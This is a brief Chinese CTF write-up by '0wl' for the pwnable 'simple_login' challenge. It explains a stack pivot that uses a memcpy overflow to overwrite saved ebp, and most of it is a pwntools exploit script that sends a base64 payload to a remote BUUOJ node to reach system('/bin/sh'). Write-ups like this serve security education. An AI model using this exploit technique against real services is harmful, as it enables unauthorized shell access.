pwnable_simple_login

一道隐蔽的栈迁移

分析

​ 输入在base64解码之后长度必须小于 12 ,在 auth 函数中存在 memcpy 可以在解码后长度为 12 的时候覆盖 ebp,实现栈迁移

1
2
leave == mov esp,ebp  pop ebp
retn

​ 栈迁移到 input 之后 main 函数的返回地址在 input+4 处,因此可以控制返回地址执行 system("/bin/sh")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding:utf8
from pwn import *
import base64
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']

#r = process("./login")
r = remote("node4.buuoj.cn",29421)
f = ELF("./login")

input_addr = 0x811EB40
get_shell = 0x8049284
#gdb.attach(proc.pidof(r)[0])
payload = 'a'*4+p32(get_shell)+p32(input_addr)
r.sendlineafter("Authenticate : ",base64.b64encode(payload))

r.interactive()
作者

0wl

发布于

2022-03-18

更新于

2022-03-18

许可协议

评论